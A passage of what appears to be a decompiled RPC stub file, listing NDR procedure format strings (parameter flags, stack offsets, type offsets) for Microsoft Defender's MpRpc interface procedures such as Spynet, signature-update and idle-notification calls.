Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 3588 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 3590 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3592 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3594 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3596 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 3598 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 3600 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3602 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 3604 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3606 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3608 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 3610 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 3612 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3614 */ NdrFcShort( 0x694 ), /* Type Offset=1684 */ + + /* Parameter arg_3 */ + +/* 3616 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3618 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3620 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3622 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3624 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3626 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc63_ServerMpRpcSpynetOnResponse */ + +/* 3628 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3630 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3634 */ NdrFcShort( 0x3f ), /* 63 */ +/* 3636 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 3638 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 3640 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3642 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3644 */ NdrFcShort( 0x34 ), /* 52 */ +/* 3646 */ NdrFcShort( 0x40 ), /* 64 */ +/* 3648 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x9, /* 9 */ +/* 3650 */ 0xa, /* 10 */ + 0x7, /* Ext Flags: new corr desc, clt corr check, srv corr check, */ +/* 3652 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3654 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3656 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3658 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 3660 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 3662 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3664 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 3666 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 3668 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3670 */ NdrFcShort( 0x6b0 ), /* Type Offset=1712 */ + + /* Parameter arg_2 */ + +/* 3672 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 3674 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3676 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 3678 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 3680 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3682 */ NdrFcShort( 0x6c0 ), /* Type Offset=1728 */ + + /* Parameter arg_4 */ + +/* 3684 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 3686 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3688 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 3690 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3692 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3694 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 3696 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 3698 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 3700 */ NdrFcShort( 0x6c4 ), /* Type Offset=1732 */ + + /* Parameter arg_7 */ + +/* 3702 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3704 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 3706 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3708 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3710 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 3712 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc64_ServerMpRpcSpynetGetStartTime */ + +/* 3714 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3716 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3720 */ NdrFcShort( 0x40 ), /* 64 */ +/* 3722 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3724 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 3726 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3728 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3730 */ NdrFcShort( 0x24 ), /* 36 */ +/* 3732 */ NdrFcShort( 0x50 ), /* 80 */ +/* 3734 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 3736 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 3738 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3740 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3742 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3744 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 3746 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 3748 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3750 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 3752 */ NdrFcShort( 0x2112 ), /* Flags: must free, out, simple ref, srv alloc size=8 */ +/* 3754 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3756 */ NdrFcShort( 0x1c ), /* Type Offset=28 */ + + /* Parameter arg_2 */ + +/* 3758 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3760 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3762 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3764 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3766 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3768 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc65_ServerMpRpcSpynetUpdateSpynetMetrics */ + +/* 3770 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3772 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3776 */ NdrFcShort( 0x41 ), /* 65 */ +/* 3778 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3780 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 3782 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3784 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3786 */ NdrFcShort( 0xd0 ), /* 208 */ +/* 3788 */ NdrFcShort( 0x24 ), /* 36 */ +/* 3790 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 3792 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 3794 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3796 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3798 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3800 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 3802 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 3804 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3806 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 3808 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 3810 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3812 */ NdrFcShort( 0x6e0 ), /* Type Offset=1760 */ + + /* Parameter arg_2 */ + +/* 3814 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 3816 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3818 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 3820 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3822 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3824 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3826 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3828 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3830 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc66_ServerMpRpcSpynetClose */ + +/* 3832 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3834 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3838 */ NdrFcShort( 0x42 ), /* 66 */ +/* 3840 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3842 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 3844 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3846 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3848 */ NdrFcShort( 0x38 ), /* 56 */ +/* 3850 */ NdrFcShort( 0x5c ), /* 92 */ +/* 3852 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 3854 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 3856 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3858 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3860 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3862 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 3864 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 3866 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3868 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 3870 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3872 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3874 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3876 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3878 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3880 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc67_ServerMpRpcSigUpdServiceOpen */ + +/* 3882 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 3884 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3888 */ NdrFcShort( 0x43 ), /* 67 */ +/* 3890 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3892 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3894 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 3896 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 3898 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 3900 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3902 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3904 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3906 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 3908 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 3910 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3912 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 3914 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 3916 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3918 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_3 */ + +/* 3920 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3922 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3924 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3926 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3928 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3930 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc68_ServerMpRpcSigUpdServiceQueryNotification */ + +/* 3932 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3934 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3938 */ NdrFcShort( 0x44 ), /* 68 */ +/* 3940 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3942 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 3944 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3946 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3948 */ NdrFcShort( 0x24 ), /* 36 */ +/* 3950 */ NdrFcShort( 0x64 ), /* 100 */ +/* 3952 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 3954 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 3956 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3958 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3960 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3962 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 3964 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 3966 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3968 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 3970 */ NdrFcShort( 0x2012 ), /* Flags: must free, out, srv alloc size=8 */ +/* 3972 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3974 */ NdrFcShort( 0x6fe ), /* Type Offset=1790 */ + + /* Parameter arg_2 */ + +/* 3976 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3978 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3980 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3982 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3984 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3986 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc69_ServerMpRpcSigUpdServiceSendProgressNotification */ + +/* 3988 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3990 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3994 */ NdrFcShort( 0x45 ), /* 69 */ +/* 3996 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3998 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 4000 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4002 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4004 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4006 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4008 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 4010 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 4012 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4014 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4016 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4018 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 4020 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 4022 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4024 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 4026 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 4028 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4030 */ NdrFcShort( 0x3ca ), /* Type Offset=970 */ + + /* Parameter arg_2 */ + +/* 4032 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4034 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4036 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4038 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4040 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4042 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc70_ServerMpRpcSigUpdServiceClose */ + +/* 4044 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4046 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4050 */ NdrFcShort( 0x46 ), /* 70 */ +/* 4052 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4054 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 4056 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4058 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4060 */ NdrFcShort( 0x38 ), /* 56 */ +/* 4062 */ NdrFcShort( 0x5c ), /* 92 */ +/* 4064 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 4066 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4068 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4070 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4072 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4074 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4076 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 4078 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4080 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 4082 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4084 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4086 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4088 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4090 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4092 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc71_ServerMpRpcSigUpdClientOpen */ + +/* 4094 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 4096 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4100 */ NdrFcShort( 0x47 ), /* 71 */ +/* 4102 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 4104 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4106 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 4108 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 4110 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4112 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4114 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4116 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4118 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4120 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4122 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4124 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 4126 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 4128 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4130 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_3 */ + +/* 4132 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 4134 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4136 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_4 */ + +/* 4138 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4140 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4142 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4144 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4146 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4148 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc72_ServerMpRpcSigUpdClientQueryNotification */ + +/* 4150 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4152 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4156 */ NdrFcShort( 0x48 ), /* 72 */ +/* 4158 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4160 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 4162 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4164 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4166 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4168 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4170 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 4172 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 4174 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4176 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4178 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4180 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 4182 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 4184 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4186 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 4188 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 4190 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4192 */ NdrFcShort( 0xcc ), /* Type Offset=204 */ + + /* Parameter arg_2 */ + +/* 4194 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4196 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4198 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4200 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4202 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4204 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc73_ServerMpRpcSigUpdClientClose */ + +/* 4206 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4208 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4212 */ NdrFcShort( 0x49 ), /* 73 */ +/* 4214 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4216 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 4218 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4220 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4222 */ NdrFcShort( 0x38 ), /* 56 */ +/* 4224 */ NdrFcShort( 0x5c ), /* 92 */ +/* 4226 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 4228 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4230 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4232 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4234 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4236 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4238 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 4240 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4242 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 4244 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4246 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4248 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4250 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4252 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4254 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc74_ServerMpRpcSigUpdControl */ + +/* 4256 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4258 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4262 */ NdrFcShort( 0x4a ), /* 74 */ +/* 4264 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4266 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 4268 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4270 */ NdrFcShort( 0x2c ), /* 44 */ +/* 4272 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4274 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 4276 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4278 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4280 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4282 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4284 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4286 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 4288 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4290 */ NdrFcShort( 0x7e ), /* Type Offset=126 */ + + /* Parameter arg_2 */ + +/* 4292 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4294 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4296 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4298 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4300 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4302 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc75_ServerMpRpcIdleNotificationOpen */ + +/* 4304 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 4306 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4310 */ NdrFcShort( 0x4b ), /* 75 */ +/* 4312 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4314 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4316 */ NdrFcShort( 0x5c ), /* 92 